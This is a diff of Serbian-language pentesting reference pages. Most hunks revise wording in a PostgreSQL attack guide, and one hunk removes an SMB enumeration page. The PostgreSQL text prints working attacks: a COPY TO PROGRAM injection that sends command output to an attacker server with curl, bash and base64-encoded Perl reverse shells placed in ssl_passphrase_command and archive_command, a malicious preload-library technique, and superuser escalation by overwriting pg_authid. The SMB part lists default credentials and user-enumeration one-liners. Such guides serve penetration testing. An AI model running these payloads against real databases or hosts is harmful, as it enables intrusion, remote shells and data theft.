@ -270,7 +269,7 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
|
||||
> [**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
|
||||
Zapamtite da COPY ne može obraditi znakove novog reda, stoga čak i ako koristite base64 payload, **morate poslati jednosmerni red**.\
|
||||
Veće ograničenje ove tehnike je to što **`copy` ne može biti korišćen za pisanje binarnih fajlova jer menja neke binarne vrednosti.**
|
||||
Veoma važna ograničenja ove tehnike su da **`copy` ne može biti korišćen za pisanje binarnih fajlova jer menja neke binarne vrednosti.**
|
||||
|
||||
### **Upload binarnih fajlova**
|
||||
|
||||
@ -282,7 +281,7 @@ Međutim, postoje **druge tehnike za upload velikih binarnih fajlova:**
|
||||
|
||||
|
||||
|
||||
### Ažuriranje podataka u PostgreSQL tabeli putem lokalnog pisanja fajlova
|
||||
### Ažuriranje podataka u PostgreSQL tabeli putem pisanja lokalnog fajla
|
||||
|
||||
Ako imate potrebne dozvole za čitanje i pisanje PostgreSQL server fajlova, možete ažurirati bilo koju tabelu na serveru **prepisivanjem povezanog fajl nod-a** u [PostgreSQL direktorijumu podataka](https://www.postgresql.org/docs/8.1/storage.html). **Više o ovoj tehnici** [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
@ -302,7 +301,7 @@ SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
```
|
||||
|
||||
Ovaj upit bi trebao da vrati nešto poput `base/3/1337`. Puna putanja na disku će biti `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
Ovaj upit bi trebao da vrati nešto poput `base/3/1337`. Puna putanja na disku biće `$DATA_DIRECTORY/base/3/1337`, tj. `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
|
||||
3. Preuzmite fajlnod putem `lo_*` funkcija
|
||||
|
||||
@ -355,7 +354,7 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
|
||||
8. Sada biste trebali videti ažurirane vrednosti tabele u PostgreSQL-u.
|
||||
|
||||
Takođe možete postati superadmin izmenom tabele `pg_authid`. **Pogledajte** [**sledeću sekciju**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
Takođe možete postati superadmin izmenom tabele `pg_authid`. **Pogledajte** [**sledeći odeljak**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
|
||||
## RCE
|
||||
|
||||
@ -365,7 +364,7 @@ Od [verzije 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), samo **s
|
||||
```sql
|
||||
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
|
||||
```
|
||||
Primer za exec:
|
||||
Primer za izvršavanje:
|
||||
```bash
|
||||
#PoC
|
||||
DROP TABLE IF EXISTS cmd_exec;
|
||||
@ -388,7 +387,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I
|
||||
> [**Više informacija.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
|
||||
|
||||
Ili koristite `multi/postgres/postgres_copy_from_program_cmd_exec` modul iz **metasploit**.\
|
||||
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljena kao CVE-2019-9193, Postgres je izjavio da je to [karakteristika i da neće biti ispravljena](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
Više informacija o ovoj ranjivosti [**ovde**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Dok je prijavljena kao CVE-2019-9193, Postges je izjavio da je to [karakteristika i da neće biti ispravljena](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
|
||||
|
||||
### RCE sa PostgreSQL jezicima
|
||||
|
||||
@ -406,10 +405,10 @@ Kada ste **naučili** iz prethodnog posta **kako da otpremite binarne datoteke**
|
||||
|
||||
### RCE sa konfiguracionim fajlom PostgreSQL-a
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Sledeći RCE vektori su posebno korisni u ograničenim SQLi kontekstima, jer se svi koraci mogu izvesti kroz ugnježdene SELECT izjave
|
||||
|
||||
**Konfiguracioni fajl** PostgreSQL-a je **pisan** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik**, možete pisati datoteke u datotečnom sistemu, i stoga možete **prepisati ovu datoteku.**
|
||||
**Konfiguracioni fajl** PostgreSQL-a je **pisiv** od strane **postgres korisnika**, koji pokreće bazu podataka, tako da kao **superkorisnik**, možete pisati datoteke u datotečnom sistemu, i stoga možete **prepisati ovu datoteku.**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -425,17 +424,17 @@ Konfiguracioni fajl ima neke zanimljive atribute koji mogu dovesti do RCE:
|
||||
|
||||
Tada će napadač morati da:
|
||||
|
||||
1. **Izvrši dump privatnog ključa** sa servera
|
||||
1. **Isprazni privatni ključ** sa servera
|
||||
2. **Enkriptuje** preuzeti privatni ključ:
|
||||
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
|
||||
3. **Prepiše**
|
||||
4. **Izvrši dump** trenutne PostgreSQL **konfiguracije**
|
||||
4. **Isprazni** trenutnu PostgreSQL **konfiguraciju**
|
||||
5. **Prepiše** **konfiguraciju** sa pomenutim atributima:
|
||||
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
|
||||
2. `ssl_passphrase_command_supports_reload = on`
|
||||
6. Izvrši `pg_reload_conf()`
|
||||
|
||||
Dok sam testirao ovo, primetio sam da će ovo raditi samo ako **privatna datoteka ključa ima privilegije 640**, da je **u vlasništvu root-a** i da je u **grupi ssl-cert ili postgres** (tako da korisnik postgres može da je pročita), i da se nalazi u _/var/lib/postgresql/12/main_.
|
||||
Dok sam testirao ovo, primetio sam da će ovo raditi samo ako **privatni ključ ima privilegije 640**, da je **u vlasništvu root-a** i da je u **grupi ssl-cert ili postgres** (tako da postgres korisnik može da ga pročita), i da se nalazi u _/var/lib/postgresql/12/main_.
|
||||
|
||||
#### **RCE sa archive_command**
|
||||
|
||||
@ -443,25 +442,25 @@ Dok sam testirao ovo, primetio sam da će ovo raditi samo ako **privatna datotek
|
||||
|
||||
Još jedan atribut u konfiguracionom fajlu koji se može iskoristiti je `archive_command`.
|
||||
|
||||
Da bi ovo funkcionisalo, podešavanje `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, onda bismo mogli prepisati komandu u `archive_command` i naterati je da se izvrši putem WAL (write-ahead logging) operacija.
|
||||
Da bi ovo radilo, podešavanje `archive_mode` mora biti `'on'` ili `'always'`. Ako je to tačno, onda bismo mogli prepisati komandu u `archive_command` i naterati je da se izvrši putem WAL (logovanje unapred).
|
||||
|
||||
Opšti koraci su:
|
||||
|
||||
1. Proverite da li je archive mode uključen: `SELECT current_setting('archive_mode')`
|
||||
2. Prepišite `archive_command` sa payload-om. Na primer, obrnuta ljuska: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Ponovo učitajte konfiguraciju: `SELECT pg_reload_conf()`
|
||||
4. Prisilite WAL operaciju da se izvrši, što će pozvati archive command: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgres-a
|
||||
4. Naterajte WAL operaciju da se izvrši, što će pozvati archive command: `SELECT pg_switch_wal()` ili `SELECT pg_switch_xlog()` za neke verzije Postgresa
|
||||
|
||||
#### **RCE sa preload bibliotekama**
|
||||
|
||||
Više informacija [o ovoj tehnici ovde](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
Ovaj napad koristi sledeće konfiguracione varijable:
|
||||
Ovaj vektor napada koristi prednosti sledećih konfiguracionih varijabli:
|
||||
|
||||
- `session_preload_libraries` -- biblioteke koje će biti učitane od strane PostgreSQL servera prilikom klijentske konekcije.
|
||||
- `session_preload_libraries` -- biblioteke koje će biti učitane od strane PostgreSQL servera prilikom povezivanja klijenta.
|
||||
- `dynamic_library_path` -- lista direktorijuma u kojima će PostgreSQL server tražiti biblioteke.
|
||||
|
||||
Možemo postaviti vrednost `dynamic_library_path` na direktorijum, koji je pisan od strane `postgres` korisnika koji pokreće bazu podataka, npr. `/tmp/` direktorijum, i otpremiti zlonameran `.so` objekat tamo. Zatim ćemo naterati PostgreSQL server da učita naš novoučitani biblioteku uključivanjem u varijablu `session_preload_libraries`.
|
||||
Možemo postaviti vrednost `dynamic_library_path` na direktorijum, koji je pisiv od strane `postgres` korisnika koji pokreće bazu podataka, npr., direktorijum `/tmp/`, i otpremiti zlonameran `.so` objekat tamo. Zatim ćemo naterati PostgreSQL server da učita našu novoučitanu biblioteku uključivanjem u varijablu `session_preload_libraries`.
|
||||
|
||||
Koraci napada su:
|
||||
|
||||
@ -519,7 +518,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
|
||||
6. Otpremite zlonamerni `postgresql.conf`, kreiran u koracima 2-3, i prepišite originalni
|
||||
7. Otpremite `payload.so` iz koraka 5 u `/tmp` direktorijum
|
||||
8. Ponovo učitajte konfiguraciju servera ponovnim pokretanjem servera ili pozivanjem `SELECT pg_reload_conf()` upita
|
||||
9. Prilikom sledeće DB konekcije, dobićete obrnutu ljusku.
|
||||
9. Prilikom sledeće DB konekcije, dobićete obrnutu vezu ljuske.
|
||||
|
||||
## **Postgres Privesc**
|
||||
|
||||
@ -538,9 +537,9 @@ GRANT pg_read_server_files TO username;
|
||||
# Access to write files
|
||||
GRANT pg_write_server_files TO username;
|
||||
```
|
||||
#### Izmeni lozinku
|
||||
#### Измените лозинку
|
||||
|
||||
Korisnici sa ovom ulogom takođe mogu **promeniti** **lozinke** drugih **ne-superkorisnika**:
|
||||
Корисници са овом улогом такође могу **променити** **лозинке** других **недоминантних корисника**:
|
||||
```sql
|
||||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
@ -551,7 +550,7 @@ Prilično je uobičajeno da **lokalni korisnici mogu da se prijave u PostgreSQL
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Ovo je obično moguće zbog sledećih linija u **`pg_hba.conf`** datoteci:
|
||||
>
|
||||
> ```bash
|
||||
@ -579,10 +578,10 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
||||
```
|
||||
#### Eksploatacija
|
||||
|
||||
1. Počnite tako što ćete kreirati novu tabelu.
|
||||
1. Počnite kreiranjem nove tabele.
|
||||
2. Umetnite neki nebitan sadržaj u tabelu kako biste obezbedili podatke za funkciju indeksa.
|
||||
3. Razvijte zlonamernu funkciju indeksa koja sadrži payload za izvršavanje koda, omogućavajući izvršavanje neovlašćenih komandi.
|
||||
4. PROMENITE vlasnika tabele na "cloudsqladmin," što je superuser uloga GCP-a koja se isključivo koristi za upravljanje i održavanje baze podataka u Cloud SQL-u.
|
||||
4. PROMENITE vlasnika tabele na "cloudsqladmin," što je superkorisnička uloga GCP-a koja se isključivo koristi za upravljanje i održavanje baze podataka u Cloud SQL-u.
|
||||
5. Izvršite ANALYZE operaciju na tabeli. Ova akcija primorava PostgreSQL engine da pređe u korisnički kontekst vlasnika tabele, "cloudsqladmin." Kao rezultat, zlonamerna funkcija indeksa se poziva sa dozvolama "cloudsqladmin," čime se omogućava izvršavanje prethodno neovlašćene shell komande.
|
||||
|
||||
U PostgreSQL-u, ovaj tok izgleda ovako:
|
||||
@ -606,7 +605,7 @@ LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM
|
||||
|
||||
ANALYZE public.temp_table;
|
||||
```
|
||||
Tada, tabela `shell_commands_results` će sadržati izlaz izvršenog koda:
|
||||
Tada će tabela `shell_commands_results` sadržati izlaz izvršenog koda:
|
||||
```
|
||||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||||
```
|
||||
@ -625,13 +624,13 @@ dbname=somedb',
|
||||
RETURNS (result TEXT);
|
||||
```
|
||||
> [!WARNING]
|
||||
> Imajte na umu da da bi prethodna upit funkcionisao **funkcija `dblink` treba da postoji**. Ako ne postoji, možete pokušati da je kreirate sa
|
||||
> Imajte na umu da da bi prethodna upit funkcionisao **funkcija `dblink` mora postojati**. Ako ne postoji, možete pokušati da je kreirate sa
|
||||
>
|
||||
> ```sql
|
||||
> CREATE EXTENSION dblink;
|
||||
> ```
|
||||
|
||||
Ako imate lozinku korisnika sa većim privilegijama, ali korisnik nije dozvoljen da se prijavi sa spoljnog IP-a, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
|
||||
Ako imate lozinku korisnika sa većim privilegijama, ali korisnik nije dozvoljen da se prijavi sa eksternog IP-a, možete koristiti sledeću funkciju da izvršite upite kao taj korisnik:
|
||||
```sql
|
||||
SELECT * FROM dblink('host=127.0.0.1
|
||||
user=someuser
|
||||
@ -645,7 +644,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
|
||||
```
|
||||
### **Prilagođena definisana funkcija sa** SECURITY DEFINER
|
||||
|
||||
[**U ovom izveštaju**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su mogli da privesc unutar postgres instance koju je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER oznakom**:
|
||||
[**U ovom izveštaju**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesteri su uspeli da privesc unutar postgres instance koju je obezbedio IBM, jer su **pronašli ovu funkciju sa SECURITY DEFINER oznakom**:
|
||||
|
||||
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
|
||||
RETURNS text
|
||||
@ -666,7 +665,7 @@ PERFORM dblink_disconnect();
|
||||
…
|
||||
</code></pre>
|
||||
|
||||
Kao što je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER se izvršava** sa privilegijama **korisnika koji je poseduje**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši neke **privilegovane radnje sa parametrima koje kontroliše napadač**, može se zloupotrebiti za **eskalaciju privilegija unutar postgres-a**.
|
||||
Kao što je [**objašnjeno u dokumentaciji**](https://www.postgresql.org/docs/current/sql-createfunction.html), funkcija sa **SECURITY DEFINER se izvršava** sa privilegijama **korisnika koji je poseduje**. Stoga, ako je funkcija **ranjiva na SQL Injection** ili vrši neke **privilegovane radnje sa parametrima koje kontroliše napadač**, može se zloupotrebiti za **eskalaciju privilegija unutar postgres**.
|
||||
|
||||
U liniji 4 prethodnog koda možete videti da funkcija ima **SECURITY DEFINER** oznaku.
|
||||
```sql
|
||||
@ -680,7 +679,7 @@ I zatim **izvršite komande**:
|
||||
|
||||
### Pass Burteforce sa PL/pgSQL
|
||||
|
||||
**PL/pgSQL** je **potpuno funkcionalni programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** za poboljšanje logike programa. Pored toga, **SQL izjave** i **okidači** imaju mogućnost pozivanja funkcija koje su kreirane koristeći **PL/pgSQL jezik**. Ova integracija omogućava sveobuhvatan i svestran pristup programiranju i automatizaciji baza podataka.\
|
||||
**PL/pgSQL** je **potpuno funkcionalan programski jezik** koji nudi veću proceduralnu kontrolu u poređenju sa SQL-om. Omogućava korišćenje **petlji** i drugih **kontrolnih struktura** za poboljšanje logike programa. Pored toga, **SQL izjave** i **okidači** imaju sposobnost da pozivaju funkcije koje su kreirane koristeći **PL/pgSQL jezik**. Ova integracija omogućava sveobuhvatan i svestran pristup programiranju i automatizaciji baza podataka.\
|
||||
**Možete zloupotrebiti ovaj jezik kako biste tražili od PostgreSQL-a da brute-force-uje korisničke akreditive.**
|
||||
|
||||
{{#ref}}
|
||||
@ -689,21 +688,21 @@ I zatim **izvršite komande**:
|
||||
|
||||
### Privesc prepisivanjem internih PostgreSQL tabela
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Sledeći privesc vektor je posebno koristan u ograničenim SQLi kontekstima, jer se svi koraci mogu izvesti kroz ugnježdene SELECT izjave
|
||||
|
||||
Ako možete **čitati i pisati PostgreSQL server fajlove**, možete **postati superkorisnik** prepisivanjem PostgreSQL on-disk filenode-a, povezanog sa internom `pg_authid` tabelom.
|
||||
Ako možete **čitati i pisati PostgreSQL server fajlove**, možete **postati superkorisnik** prepisivanjem PostgreSQL filenoda na disku, povezanog sa internom `pg_authid` tabelom.
|
||||
|
||||
Pročitajte više o **ovoj tehnici** [**ovde**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
|
||||
|
||||
Koraci napada su:
|
||||
|
||||
1. Nabavite PostgreSQL direktorijum podataka
|
||||
2. Nabavite relativnu putanju do filenode-a, povezanog sa `pg_authid` tabelom
|
||||
3. Preuzmite filenode putem `lo_*` funkcija
|
||||
4. Dobijte tip podataka, povezan sa `pg_authid` tabelom
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [izmenite filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); postavite sve `rol*` boolean zastavice na 1 za pune dozvole.
|
||||
6. Ponovo otpremite izmenjeni filenode putem `lo_*` funkcija, i prepišite originalni fajl na disku
|
||||
2. Nabavite relativnu putanju do filenoda, povezanog sa `pg_authid` tabelom
|
||||
3. Preuzmite filenod putem `lo_*` funkcija
|
||||
4. Dobijte tip podataka, povezanog sa `pg_authid` tabelom
|
||||
5. Koristite [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) da [izmenite filenod](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); postavite sve `rol*` boolean zastavice na 1 za pune dozvole.
|
||||
6. Ponovo otpremite izmenjeni filenod putem `lo_*` funkcija, i prepišite originalni fajl na disku
|
||||
7. _(Opcionalno)_ Očistite keš tabele u memoriji pokretanjem skupe SQL upita
|
||||
8. Sada biste trebali imati privilegije punog superadmina.
|
||||
|
||||
@ -741,7 +740,7 @@ string pgadmin4.db
|
||||
```
|
||||
### pg_hba
|
||||
|
||||
Klijent autentifikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl pod nazivom **pg_hba.conf**. Ovaj fajl sadrži niz zapisa, od kojih svaki specificira tip veze, opseg IP adresa klijenta (ako je primenljivo), naziv baze podataka, korisničko ime i metodu autentifikacije koja će se koristiti za usklađivanje veza. Prvi zapis koji odgovara tipu veze, adresi klijenta, traženoj bazi podataka i korisničkom imenu se koristi za autentifikaciju. Nema povratne ili rezervne opcije ako autentifikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
Klijent autentifikacija u PostgreSQL-u se upravlja kroz konfiguracioni fajl nazvan **pg_hba.conf**. Ovaj fajl sadrži niz zapisa, od kojih svaki specificira tip veze, opseg IP adresa klijenta (ako je primenljivo), naziv baze podataka, korisničko ime i metodu autentifikacije koja će se koristiti za usklađivanje veza. Prvi zapis koji odgovara tipu veze, adresi klijenta, traženoj bazi podataka i korisničkom imenu se koristi za autentifikaciju. Nema rezervne opcije ili povratka ako autentifikacija ne uspe. Ako nijedan zapis ne odgovara, pristup je odbijen.
|
||||
|
||||
Dostupne metode autentifikacije zasnovane na lozinkama u pg_hba.conf su **md5**, **crypt** i **password**. Ove metode se razlikuju po tome kako se lozinka prenosi: MD5-hashevana, crypt-enkriptovana ili u čistom tekstu. Važno je napomenuti da se crypt metoda ne može koristiti sa lozinkama koje su enkriptovane u pg_authid.
|
||||
|
||||
|
@ -1,532 +0,0 @@
|
||||
# 139,445 - Pentesting SMB
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**Network Basic Input Output System**_** (NetBIOS)** je softverski protokol dizajniran da omogući aplikacijama, računarima i radnim stanicama unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lokacija softverskih aplikacija koje rade na NetBIOS mreži se postiže kroz njihove NetBIOS nazive, koji mogu imati do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije se pokreće kada jedna aplikacija (koja deluje kao klijent) izda komandu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
Tehnički, Port 139 se naziva ‘NBT over IP’, dok se Port 445 identifikuje kao ‘SMB over IP’. Akronim **SMB** označava ‘**Server Message Blocks**’, koji je takođe modernizovan kao **Common Internet File System (CIFS)**. Kao mrežni protokol na aplikacionom nivou, SMB/CIFS se prvenstveno koristi za omogućavanje deljenog pristupa datotekama, štampačima, serijskim portovima i olakšavanje različitih oblika komunikacije između čvorova na mreži.
|
||||
|
||||
Na primer, u kontekstu Windows-a, ističe se da SMB može raditi direktno preko TCP/IP, eliminišući potrebu za NetBIOS-om preko TCP/IP, korišćenjem porta 445. S druge strane, na različitim sistemima, primećuje se korišćenje porta 139, što ukazuje na to da se SMB izvršava u kombinaciji sa NetBIOS-om preko TCP/IP.
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
Protokol **Server Message Block (SMB)**, koji funkcioniše u **klijent-server** modelu, dizajniran je za regulisanje **pristupa datotekama**, direktorijumima i drugim mrežnim resursima poput štampača i rutera. Primarno se koristi unutar serije operativnih sistema **Windows**, SMB obezbeđuje unazadnu kompatibilnost, omogućavajući uređajima sa novijim verzijama Microsoftovog operativnog sistema da besprekorno komuniciraju sa onima koji koriste starije verzije. Pored toga, projekat **Samba** nudi rešenje slobodnog softvera, omogućavajući implementaciju SMB-a na **Linux** i Unix sistemima, čime se olakšava međusobna komunikacija putem SMB-a.
|
||||
|
||||
Deljenja, koja predstavljaju **arbitrarne delove lokalnog fajl sistema**, mogu biti obezbeđena od strane SMB servera, čineći hijerarhiju vidljivom klijentu delimično **nezavisnom** od stvarne strukture servera. **Access Control Lists (ACLs)**, koje definišu **prava pristupa**, omogućavaju **fino podešavanje** korisničkih dozvola, uključujući atribute kao što su **`execute`**, **`read`** i **`full access`**. Ove dozvole mogu biti dodeljene pojedinačnim korisnicima ili grupama, na osnovu deljenja, i razlikuju se od lokalnih dozvola postavljenih na serveru.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
Pristup IPC$ deljenju može se dobiti putem anonimne null sesije, omogućavajući interakciju sa servisima izloženim putem imenovanih cevi. Alat `enum4linux` je koristan za ovu svrhu. Kada se pravilno koristi, omogućava sticanje:
|
||||
|
||||
- Informacija o operativnom sistemu
|
||||
- Detalja o matičnoj domeni
|
||||
- Kompilacije lokalnih korisnika i grupa
|
||||
- Informacija o dostupnim SMB deljenjima
|
||||
- Efektivnoj bezbednosnoj politici sistema
|
||||
|
||||
Ova funkcionalnost je ključna za mrežne administratore i stručnjake za bezbednost da procene bezbednosni položaj SMB (Server Message Block) usluga na mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljnog sistema, što je od suštinskog značaja za identifikaciju potencijalnih ranjivosti i osiguranje da su SMB usluge pravilno zaštićene.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
Gore navedena komanda je primer kako se `enum4linux` može koristiti za izvođenje potpune enumeracije protiv cilja koji je naveden kao `target_ip`.
|
||||
|
||||
## Šta je NTLM
|
||||
|
||||
Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zloupotrebiti, ova stranica o **NTLM** će vam biti veoma zanimljiva, gde je objašnjeno **kako ovaj protokol funkcioniše i kako možete iskoristiti njegove prednosti:**
|
||||
|
||||
{{#ref}}
|
||||
../windows-hardening/ntlm/
|
||||
{{#endref}}
|
||||
|
||||
## **Server Enumeration**
|
||||
|
||||
### **Skener** mreže u potrazi za hostovima:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
### SMB server version
|
||||
|
||||
Da biste tražili moguće eksploite za SMB verziju, važno je znati koja verzija se koristi. Ako ova informacija ne pojavljuje u drugim korišćenim alatima, možete:
|
||||
|
||||
- Koristiti **MSF** pomoćni modul _**auxiliary/scanner/smb/smb_version**_
|
||||
- Ili ovaj skript:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
#Author: rewardone
|
||||
#Description:
|
||||
# Requires root or enough permissions to use tcpdump
|
||||
# Will listen for the first 7 packets of a null login
|
||||
# and grab the SMB Version
|
||||
#Notes:
|
||||
# Will sometimes not capture or will print multiple
|
||||
# lines. May need to run a second time for success.
|
||||
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
||||
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
||||
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||
echo "" && sleep .1
|
||||
```
|
||||
### **Pretraži exploit**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Moguće** Kredencijale
|
||||
|
||||
| **Korisničko ime** | **Uobičajene lozinke** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(prazno)_ | _(prazno)_ |
|
||||
| gost | _(prazno)_ |
|
||||
| Administrator, admin | _(prazno)_, lozinka, administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | lozinka, test, lab, demo |
|
||||
|
||||
### Brute Force
|
||||
|
||||
- [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB Okruženje Informacije
|
||||
|
||||
### Dobijanje Informacija
|
||||
```bash
|
||||
#Dump interesting information
|
||||
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
||||
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
||||
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
||||
|
||||
#Connect to the rpc
|
||||
rpcclient -U "" -N <IP> #No creds
|
||||
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
||||
rpcclient -U "username%passwd" <IP> #With creds
|
||||
#You can use querydispinfo and enumdomusers to query user information
|
||||
|
||||
#Dump user information
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
|
||||
#Map possible RPC endpoints
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Enumerisanje korisnika, grupa i prijavljenih korisnika
|
||||
|
||||
Ove informacije bi već trebale biti prikupljene iz enum4linux i enum4linux-ng
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
||||
|
||||
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
||||
|
||||
rpcclient -U "" -N 10.10.10.10
|
||||
enumdomusers
|
||||
enumdomgroups
|
||||
```
|
||||
### Enumerate local users
|
||||
|
||||
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
